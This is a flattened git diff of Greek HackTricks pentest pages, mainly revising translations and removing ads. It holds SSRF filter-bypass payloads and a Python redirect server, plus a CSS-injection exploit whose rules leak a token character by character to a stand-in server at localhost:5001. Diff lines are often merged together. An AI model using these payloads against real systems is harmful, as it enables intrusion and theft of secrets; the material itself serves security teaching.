* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. * **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details> </details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure> ### Τοπικός Υπολογιστής
Βρείτε ευπάθειες που έχουν μεγαλύτερη σημασία, ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Ο Intruder παρακολουθεί την επιθετική επιφάνεια σας, εκτελεί προληπτικές απειλητικές αναζητήσεις, εντοπίζει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίβα, από τις διεπαφές προγραμματισμού εφαρμογών (APIs) μέχρι τις ιστοσελίδες και τα συστήματα στο cloud. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) σήμερα.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
### Τοπικός Διακομιστής (Localhost)
```bash ```bash
# Localhost # Localhost
http://127.0.0.1:80 http://127.0.0.1:80
@ -93,9 +85,9 @@ spoofed.burpcollaborator.net = 127.0.0.1
``` ```
![](<../../.gitbook/assets/image (649) (1) (1).png>) ![](<../../.gitbook/assets/image (649) (1) (1).png>)
Η επέκταση **Burp** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) υλοποιεί παρακάμψεις μορφοποίησης IP. Η **επέκταση Burp** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) υλοποιεί παρακάμψεις μορφοποίησης IP.
### Ανάλυση τομέα ### Αναλυτής Domain
```bash ```bash
https:attacker.com https:attacker.com
https:/attacker.com https:/attacker.com
@ -124,15 +116,7 @@ attacker。com
Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ
ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
``` ```
### Σύγχυση Τομέα ### Σύγχυση Domain
Η σύγχυση τομέα (Domain Confusion) είναι μια τεχνική που χρησιμοποιείται για να παρακάμψει την ασφάλεια των ελέγχων τομέα και να εκμεταλλευτεί την ευπάθεια των εφαρμογών που επιτρέπουν την ανάγνωση ή την αποστολή αιτημάτων σε εξωτερικούς πόρους.
Η τεχνική αυτή εκμεταλλεύεται την ανεπάρκεια των ελέγχων τομέα για να παραπλανήσει την εφαρμογή και να την πείσει να αποστείλει αιτήματα σε κακόβουλους πόρους. Αυτό μπορεί να οδηγήσει σε εκτέλεση κακόβουλου κώδικα, αποκάλυψη ευαίσθητων πληροφοριών ή ακόμη και στην εκτέλεση επιθέσεων εναντίον εσωτερικών συστημάτων.
Για να εκμεταλλευτείτε τη σύγχυση τομέα, πρέπει να εντοπίσετε μια εφαρμογή που επιτρέπει την αποστολή αιτημάτων σε εξωτερικούς πόρους και να εισάγετε μια διεύθυνση URL που θα παραπλανήσει την εφαρμογή. Μπορείτε να χρησιμοποιήσετε διάφορες τεχνικές, όπως την αντικατάσταση του χαρακτήρα "/" με άλλους χαρακτήρες, την προσθήκη προθέματος "file://" ή τη χρήση του χαρακτήρα "@" για να παρακάμψετε τους ελέγχους τομέα.
Είναι σημαντικό να είστε προσεκτικοί κατά την εκτέλεση αυτής της τεχνικής, καθώς μπορεί να έχει σοβαρές συνέπειες για την ασφάλεια του συστήματος. Πάντα ελέγχετε την εφαρμογή για ευπάθειες και εφαρμόζετε τις απαραίτητες προφυλάξεις για να αποτρέψετε την εκμετάλλευση της σύγχυσης τομέα.
```bash ```bash
# Try also to change attacker.com for 127.0.0.1 to try to access localhost # Try also to change attacker.com for 127.0.0.1 to try to access localhost
# Try replacing https by http # Try replacing https by http
@ -167,9 +151,9 @@ http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
#Parameter pollution #Parameter pollution
next={domain}&next=attacker.com next={domain}&next=attacker.com
``` ```
### Παράκαμψη Διαδρομών και Επεκτάσεων ### Διαδρομές και Παράκαμψη Επεκτάσεων
Εάν απαιτείται η ολοκλήρωση του URL με μια διαδρομή ή μια επέκταση, ή εάν πρέπει να περιέχει μια διαδρομή, μπορείτε να δοκιμάσετε μία από τις παρακάτω παρακαμπτήρες: Εάν απαιτείται η URL να τελειώνει σε μια διαδρομή ή μια επέκταση, ή να περιέχει μια διαδρομή, μπορείτε να δοκιμάσετε μία από τις παρακάτω παρακάμψεις:
``` ```
https://metadata/vulerable/path#/expected/path https://metadata/vulerable/path#/expected/path
https://metadata/vulerable/path#.extension https://metadata/vulerable/path#.extension
@ -177,13 +161,11 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
``` ```
### Fuzzing ### Fuzzing
Το εργαλείο [**recollapse**](https://github.com/0xacb/recollapse) μπορεί να δημιουργήσει παραλλαγές από ένα δεδομένο εισαγωγής για να προσπαθήσει να παρακάμψει το χρησιμοποιούμενο regex. Ελέγξτε [**αυτήν την ανάρτηση**](https://0xacb.com/2022/11/21/recollapse/) επίσης για περισσότερες πληροφορίες. Το εργαλείο [**recollapse**](https://github.com/0xacb/recollapse) μπορεί να δημιουργήσει παραλλαγές από ένα δεδομένο εισαγωγής για να προσπαθήσει να παρακάμψει το χρησιμοποιούμενο regex. Ελέγξτε [**αυτή την ανάρτηση**](https://0xacb.com/2022/11/21/recollapse/) επίσης για περισσότερες πληροφορίες.
### Παράκαμψη μέσω ανακατεύθυνσης ### Bypass via redirect
Είναι πιθανό να είναι δυνατόν ο διακομιστής να **φιλτράρει το αρχικό αίτημα** ενός SSRF **αλλά όχι** μια πιθανή απάντηση **ανακατεύθυνσης** σε αυτό το αίτημα.\ Μπορεί να είναι δυνατόν ο διακομιστής να **φιλτράρει τον αρχικό αίτημα** ενός SSRF **αλλά όχι** μια πιθανή **ανακατεύθυνση** απάντηση σε αυτό το αίτημα. Για παράδειγμα, ένας διακομιστής ευάλωτος σε SSRF μέσω: `url=https://www.google.com/` ενδέχεται να **φιλτράρει την παράμετρο url**. Αλλά αν χρησιμοποιήσετε έναν [διακομιστή python για να ανταποκριθεί με ένα 302](https://pastebin.com/raw/ywAUhFrv) στον τόπο όπου θέλετε να ανακατευθύνετε, ενδέχεται να μπορείτε να **έχετε πρόσβαση σε φιλτραρισμένες διευθύνσεις IP** όπως το 127.0.0.1 ή ακόμη και σε φιλτραρισμένα **πρωτόκολλα** όπως το gopher. [Ελέγξτε αυτήν την αναφορά.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
Για παράδειγμα, ένας ευάλωτος διακομιστής σε SSRF μέσω: `url=https://www.google.com/` μπορεί να **φιλτράρει την παράμετρο url**. Αλλά αν χρησιμοποιήσετε έναν [python server για να απαντήσει με ένα 302](https://pastebin.com/raw/ywAUhFrv) στο μέρος όπου θέλετε να ανακατευθύνετε, μπορείτε να **έχετε πρόσβαση σε φιλτραρισμένες διευθύνσεις IP** όπως η 127.0.0.1 ή ακόμα και σε φιλτραρισμένα **πρωτόκολλα** όπως το gopher.\
[Ρίξτε μια ματιά σε αυτήν την αναφορά.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
```python ```python
#!/usr/bin/env python3 #!/usr/bin/env python3
@ -206,11 +188,11 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
``` ```
## Εξηγημένα Κόλπα ## Εξηγημένα Κόλπα
### Κόλπος με οπίσθια κάθετο ### Κόλπος με Ανάστροφη Κάθετο
Ο *κόλπος με οπίσθια κάθετο* εκμεταλλεύεται μια διαφορά μεταξύ του [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) και του [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Ενώ το RFC3986 είναι ένα γενικό πλαίσιο για τα URIs, το WHATWG είναι ειδικό για τις διευθύνσεις URL του web και έχει υιοθετηθεί από τους σύγχρονους περιηγητές. Η κύρια διάκριση βρίσκεται στην αναγνώριση του οπίσθιου κάθετου (`\`) ως ισοδύναμο με το προϋπάρχον κάθετο (`/`), επηρεάζοντας τον τρόπο ανάλυσης των διευθύνσεων URL, ειδικά στον προσδιορισμό της μετάβασης από το όνομα κεντρικού υπολογιστή στη διαδρομή ενός URL. Ο _κόλπος με την ανάστροφη κάθετο_ εκμεταλλεύεται μια διαφορά μεταξύ του [Προτύπου URL του WHATWG](https://url.spec.whatwg.org/#url-parsing) και του [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Ενώ το RFC3986 είναι ένα γενικό πλαίσιο για τα URIs, το WHATWG είναι ειδικό για τις διευθύνσεις URL του web και έχει υιοθετηθεί από τους σύγχρονους περιηγητές. Η κύρια διάκριση βρίσκεται στην αναγνώριση του προτύπου WHATWG της ανάστροφης κάθετου (`\`) ως ισοδύναμη με την κάθετο (/), επηρεάζοντας τον τρόπο με τον οποίο ερμηνεύονται οι διευθύνσεις URL, συγκεκριμένα σημειώνοντας τη μετάβαση από το όνομα κεντρικού υπολογιστή στη διαδρομή σε μια διεύθυνση URL.
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg) ![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
### Άλλες Σύγχυσεις ### Άλλες Σύγχυσεις
@ -218,28 +200,21 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
εικόνα από [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/) εικόνα από [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)
## Αναφορές ## Αναφορές
* [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25) * [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md) * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Βρείτε ευπάθειες που έχουν μεγαλύτερη σημασία, ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Το Intruder παρακολουθεί την επιθετική επιφάνεια επίθεσης, εκτελεί προληπτικές απειλητικές αναζητήσεις, εντοπίζει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίβα, από τις διεπαφές προς τις web εφαρμογές και τα συστήματα cloud. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) σήμερα.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details> <details>
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks: Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Συμμετάσχετε** 💬 στην [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. * **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details> </details>

View file

@ -1,27 +1,19 @@
# Κώδικας Εισαγωγής CSS # Κώδικας Ενσωμάτωσης CSS
<details> <details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks: Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. * **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details> </details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Βρείτε ευπάθειες που έχουν μεγαλύτερη σημασία, ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Ο Intruder παρακολουθεί την επιθετική επιφάνεια σας, εκτελεί προληπτικές απειλητικές αναζητήσεις, εντοπίζει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίβα, από διεπαφές προς ιστοσελίδες και συστήματα στο cloud. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) σήμερα.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
{% code title="victim.html" %} {% code title="victim.html" %}
```html ```html
<!doctype html> <!doctype html>
@ -32,6 +24,8 @@
@import url('//localhost:5001/start?'); @import url('//localhost:5001/start?');
</style> </style>
``` ```
{% endcode %}
{% code title="server.js" %} {% code title="server.js" %}
```javascript ```javascript
const http = require('http'); const http = require('http');
@ -232,54 +226,18 @@ input{border-image:var(--s0)}
input[value=]{list-style:url(http://localhost:5001/end?token=&)}; input[value=]{list-style:url(http://localhost:5001/end?token=&)};
*/ */
``` ```
```css
input[value$="8"]{--e0:url(http://localhost:5001/leak?post=8)}
input[value$="9"]{--e0:url(http://localhost:5001/leak?post=9)}
input[value$="α"]{--e0:url(http://localhost:5001/leak?post=α)}
input[value$="β"]{--e0:url(http://localhost:5001/leak?post=β)}
input[value$="γ"]{--e0:url(http://localhost:5001/leak?post=γ)}
input[value$="δ"]{--e0:url(http://localhost:5001/leak?post=δ)}
input[value$="ε"]{--e0:url(http://localhost:5001/leak?post=ε)}
input[value$="ζ"]{--e0:url(http://localhost:5001/leak?post=ζ)}
input[value$="η"]{--e0:url(http://localhost:5001/leak?post=η)}
input{background:var(--e0)}
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
input[value^="1"]{--s0:url(http://localhost:5001/leak?pre=1)}
input[value^="2"]{--s0:url(http://localhost:5001/leak?pre=2)}
input[value^="3"]{--s0:url(http://localhost:5001/leak?pre=3)}
input[value^="4"]{--s0:url(http://localhost:5001/leak?pre=4)}
input[value^="5"]{--s0:url(http://localhost:5001/leak?pre=5)}
input[value^="6"]{--s0:url(http://localhost:5001/leak?pre=6)}
input[value^="7"]{--s0:url(http://localhost:5001/leak?pre=7)}
input[value^="8"]{--s0:url(http://localhost:5001/leak?pre=8)}
input[value^="9"]{--s0:url(http://localhost:5001/leak?pre=9)}
input[value^="α"]{--s0:url(http://localhost:5001/leak?pre=α)}
input[value^="β"]{--s0:url(http://localhost:5001/leak?pre=β)}
input[value^="γ"]{--s0:url(http://localhost:5001/leak?pre=γ)}
input[value^="δ"]{--s0:url(http://localhost:5001/leak?pre=δ)}
input[value^="ε"]{--s0:url(http://localhost:5001/leak?pre=ε)}
input[value^="ζ"]{--s0:url(http://localhost:5001/leak?pre=ζ)}
input{border-image:var(--s0)}
input[value=]{list-style:url(http://localhost:5001/end?token=&)};
*/
{% endcode %} {% endcode %}
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Βρείτε ευπάθειες που έχουν μεγαλύτερη σημασία, ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Ο Intruder παρακολουθεί την επιθετική επιφάνεια σας, εκτελεί προληπτικές απειλητικές αναζητήσεις, εντοπίζει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίβα, από APIs έως web εφαρμογές και συστήματα στο cloud. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) σήμερα.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details> <details>
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν έως τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks στο AWS)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks: Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. * **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details> </details>

View file

@ -1,30 +1 @@
<details> # Χακτιβισμός Ραδιοφώνου
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>

View file

@ -1,29 +1,22 @@
# Κοινές API που χρησιμοποιούνται σε κακόβουλο λογισμικό
<details> <details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks: Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
